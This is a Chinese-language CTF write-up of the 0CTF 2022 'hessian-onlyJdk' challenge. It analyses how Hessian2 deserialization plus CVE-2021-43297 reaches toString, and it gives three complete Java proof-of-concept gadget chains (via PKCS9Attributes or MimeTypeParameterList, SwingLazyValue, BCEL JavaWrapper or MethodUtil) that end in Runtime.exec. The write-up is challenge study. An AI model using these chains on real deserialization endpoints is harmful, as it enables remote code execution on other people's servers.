附件以及环境地址:https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/
环境部署
直接在deploy目录下部署就可以了
docker compose up -d --build
调试的话把jar包放到idea里面并配上jdk8u342就行了
源码分析
题目只给了hessian4.0.38和jdk8u342的依赖
主要类在com.ctf.hessian.onlyJdk.Index
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.hessian.onlyJdk;
import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;
public class Index {
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = "Welcome to 0CTF 2022!";
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception e) {
e.printStackTrace();
response = "oops! something is wrong";
}
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
}
接受请求体数据并用hessian2去反序列化处理最后打印输出
然后题目还有两个hint:
https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww
https://x-stream.github.io/CVE-2021-21346.html
两个Hint
CVE-2021-43297
第一个是CVE-2021-43297,也就是Apache Dubbo Hessian2异常处理反序列化漏洞,这个之前在hessian反序列化中也有分析过
漏洞点在于com.caucho.hessian.io.Hessian2Input#expect()这里
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception e) {
log.log(Level.FINE, e.toString(), e);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}

关键点在于expect() 在报错时,会把刚反序列化出来的对象本身拼进了错误字符串里,从而触发toString方法。
这条hint给我们提供了一个触发任意类toString的方法
CVE-2021-21346
第二个hint是CVE-2021-21346,XStream的一条toString利用链
Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
sun.swing.SwingLazyValue#createValue可以调用任意静态方法或者一个构造函数

public Object createValue(final UIDefaults table) {
try {
ReflectUtil.checkPackageAccess(className); //检查当前代码是否有权限访问 className 所在的包。
Class<?> c = Class.forName(className, true, null);
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
makeAccessible(m);
return m.invoke(c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
makeAccessible(constructor);
return constructor.newInstance(args);
}
} catch (Exception e) {
// Ideally we would throw an exception, unfortunately
// often times there are errors as an initial look and // feel is loaded before one can be switched. Perhaps a // flag should be added for debugging, so that if true // the exception would be thrown. }
return null;
}
但是这条链子是打不通的:
javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限- 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
并且UIDefaults 是 Hashtable 的子类,所以我们需要找一个toString 触发Hashtable#get的gadget
toString触发get链子寻找
MimeTypeParameterList触发get
在javax.activation.MimeTypeParameterList的toString方法中
public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(parameters.size() * 16);
// heuristic: 8 characters per field
Enumeration keys = parameters.keys();
while (keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)parameters.get(key)));
}
return buffer.toString();
}
可以看到这里有一个parameters.get(key)的调用,跟进看看这个parameters发现他还是个Hashtable类型的字段
PKCS9Attributes触发get
public String toString() {
StringBuffer buf = new StringBuffer(200);
buf.append("PKCS9 Attributes: [\n\t");
PKCS9Attribute value;
boolean first = true;
for (int i = 1; i < PKCS9Attribute.PKCS9_OIDS.length; i++) {
if (PKCS9Attribute.PKCS9_OIDS[i] == null) {
continue;
}
value = getAttribute(PKCS9Attribute.PKCS9_OIDS[i]);
if (value == null) continue;
// we have a value; print it
if (first)
first = false;
else
buf.append(";\n\t");
buf.append(value);
}
buf.append("\n\t] (end PKCS9 Attributes)");
return buf.toString();
}
跟进getAttribute方法
public PKCS9Attribute getAttribute(ObjectIdentifier oid) {
return attributes.get(oid);
}

这个attributes也刚好是Hashtable类型的
找到了触发get的方法之后,我们需要找一下后面createValue触发合适的 public 方法的 gadget
createValue触发public static方法寻找
JavaWrapper打BCEL
由于jdk的版本满足加载 BCEL 字节码。找到JavaWrapper#_main方法
public static void _main(String[] argv) throws Exception {
/* Expects class name as first argument, other arguments are by-passed.
*/ if(argv.length == 0) {
System.out.println("Missing class name.");
return;
}
String class_name = argv[0];
String[] new_argv = new String[argv.length - 1];
System.arraycopy(argv, 1, new_argv, 0, new_argv.length);
JavaWrapper wrapper = new JavaWrapper();
wrapper.runMain(class_name, new_argv);
}
实例化了一个JavaWrapper并调用runMain方法,跟进看看
public void runMain(String class_name, String[] argv) throws ClassNotFoundException
{
Class cl = loader.loadClass(class_name);
Method method = null;
try {
method = cl.getMethod("_main", new Class[] { argv.getClass() });
/* Method _main is sane ?
*/ int m = method.getModifiers();
Class r = method.getReturnType();
if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||
Modifier.isAbstract(m) || (r != Void.TYPE))
throw new NoSuchMethodException();
} catch(NoSuchMethodException no) {
System.out.println("In class " + class_name +
": public static void _main(String[] argv) is not defined");
return;
}
try {
method.invoke(null, new Object[] { argv });
} catch(Exception ex) {
ex.printStackTrace();
}
}
loadClass加载类并调用里面的_main方法,看看这个loader怎么来的
private java.lang.ClassLoader loader;
public JavaWrapper() {
this(getClassLoader());
}
private static java.lang.ClassLoader getClassLoader() {
String s = SecuritySupport.getSystemProperty("bcel.classloader");
if((s == null) || "".equals(s))
s = "com.sun.org.apache.bcel.internal.util.ClassLoader";
try {
return (java.lang.ClassLoader)Class.forName(s).newInstance();
} catch(Exception e) {
throw new RuntimeException(e.toString());
}
}
bcel类加载器?并且当前的jdk版本是可以打bcel类字节码加载的,那可以打BCEL
MethodUtil打任意代码执行
找public static方法,找到了sun.reflect.misc.MethodUtil的invoke方法
public static Object invoke(Method m, Object obj, Object[] params)
throws InvocationTargetException, IllegalAccessException {
try {
return bounce.invoke(null, new Object[] {m, obj, params});
} catch (InvocationTargetException ie) {
Throwable t = ie.getCause();
if (t instanceof InvocationTargetException) {
throw (InvocationTargetException)t;
} else if (t instanceof IllegalAccessException) {
throw (IllegalAccessException)t;
} else if (t instanceof RuntimeException) {
throw (RuntimeException)t;
} else if (t instanceof Error) {
throw (Error)t;
} else {
throw new Error("Unexpected invocation error", t);
}
} catch (IllegalAccessException iae) {
// this can't happen
throw new Error("Unexpected invocation error", iae);
}
}
bounce.invoke(null, new Object[] {m, obj, params})实际上进行了两次调用,跟进看看bounce就知道了
private static final Method bounce = getTrampoline();
private static Method getTrampoline() {
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction<Method>() {
public Method run() throws Exception {
Class<?> t = getTrampolineClass();
Class<?>[] types = {
Method.class, Object.class, Object[].class
};
Method b = t.getDeclaredMethod("invoke", types);
b.setAccessible(true);
return b;
}
});
} catch (Exception e) {
throw new InternalError("bouncer cannot be found", e);
}
}
bounce是一个静态字段,在类初始化时候会自动赋值,所以这里bounce是Trampoline.invoke(Method,Object,Object[])
跟进看一下Trampoline.invoke
private static Object invoke(Method m, Object obj, Object[] params)
throws InvocationTargetException, IllegalAccessException
{
ensureInvocableMethod(m);
return m.invoke(obj, params);
}
所以return bounce.invoke(null, new Object[] {m, obj, params})本质上就等价于m.invoke(obj,params)
链子&POC编写
基于上面的分析,我们可以找到很多可用的链子
PKCS9Attributes+JavaWrapper打BCEL
链子大致如下:
CVE-2021-43297触发toString->
sun.security.pkcs.PKCS9Attributes#toString()->
UIDefaults#get()->
UIDefaults#getFromHashTable()->
UIDefaults$LazyValue#createValue()->
SwingLazyValue#createValue()->
JavaWrapper#_main()
POC
先写个恶意类Evil
public class Evil {
public static void _main(String[] argv) throws Exception {
Runtime.getRuntime().exec("clac");
}
}
然后我们的poc:
package com.ctf.Hessian_onlyjdk_0CTF2022;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class PKCS9Attributes_JavaWrapperPOC {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
String payload = "$$BCEL$$" + Utility.encode(Repository.lookupClass(com.ctf.Hessian_onlyjdk_0CTF2022.Evil.class).getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
//PKCS9Attributes触发toString
setFieldValue(s,"attributes",uiDefaults);
byte[] poc = serialize(s);
unserialize(poc);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write(67);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
MimeTypeParameterList+JavaWrapper打BCEL
链子
CVE-2021-43297触发toString->
javax.activation.MimeTypeParameterList#toString()->
UIDefaults#get()->
UIDefaults#getFromHashTable()->
UIDefaults$LazyValue#createValue()->
SwingLazyValue#createValue()->
JavaWrapper#_main()
POC
package com.ctf.Hessian_onlyjdk_0CTF2022;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class MimeTypeParameterList_JavaWrapperPOC {
public static void main(String[] args) throws Exception {
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
UIDefaults uiDefaults = new UIDefaults();
String payload = "$$BCEL$$" + Utility.encode(Repository.lookupClass(com.ctf.Hessian_onlyjdk_0CTF2022.Evil.class).getBytes(), true);
uiDefaults.put("foo", new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
//MimeTypeParameterList触发toString
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
byte[] poc = serialize(mimeTypeParameterList);
unserialize(poc);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write(67);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
MimeTypeParameterList和PKCS9Attributes在触发toString的时候有一个tip:
MimeTypeParameterList#toString要求key需要是一个可强制转化成string类型的对象

而PKCS9Attributes则是要求传入getAttribute的是一个ObjectIdentifier

所以两条链子上会有些许的不同
PKCS9Attributes+MethodUtil打RCE
链子就不写了,直接写poc
package com.ctf.Hessian_onlyjdk_0CTF2022;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class PKCS9Attributes_MethodUtilPOC {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
uiDefaults.put(
PKCS9Attribute.EMAIL_ADDRESS_OID,
new SwingLazyValue(
"sun.reflect.misc.MethodUtil",
"invoke",
new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}}
));
//PKCS9Attributes触发toString
setFieldValue(s,"attributes",uiDefaults);
byte[] poc = serialize(s);
unserialize(poc);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write(67);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
这里我一开始有个疑问,就是为什么SwingLazyValue中触发invoke的时候里面的Object数组还要嵌套一层invoke方法的调用呢?

问了gpt之后我就明白了,其实是跟SwingLazyValue#createValue的方法调用机制有关的

他会根据参数类型去匹配对应的方法,也就是说,如果我们的poc是这样的
uiDefaults.put(
PKCS9Attribute.EMAIL_ADDRESS_OID,
new SwingLazyValue(
"sun.reflect.misc.MethodUtil",
"invoke",
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
));
那么匹配到的invoke需要是这样的
MethodUtil.invoke(Method, Runtime, Object[])
但 MethodUtil 里真实存在的方法签名只有:
MethodUtil.invoke(Method, Object, Object[])
所以需要内层再嵌套一层invoke的调用
MimeTypeParameterList+MethodUtil的触发链的话也是根据上面的poc相应改一下就行了
总结
一开始看了蛮久才入手的,有很多前置知识还没学到,包括hint中的那两个CVE,不得不说确实是一道很好的题目
参考:
https://baozongwi.xyz/p/0ctf-2022-hessian-onlyjdk/
http://www.bmth666.cn/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk/index.html
https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#EzJava
https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww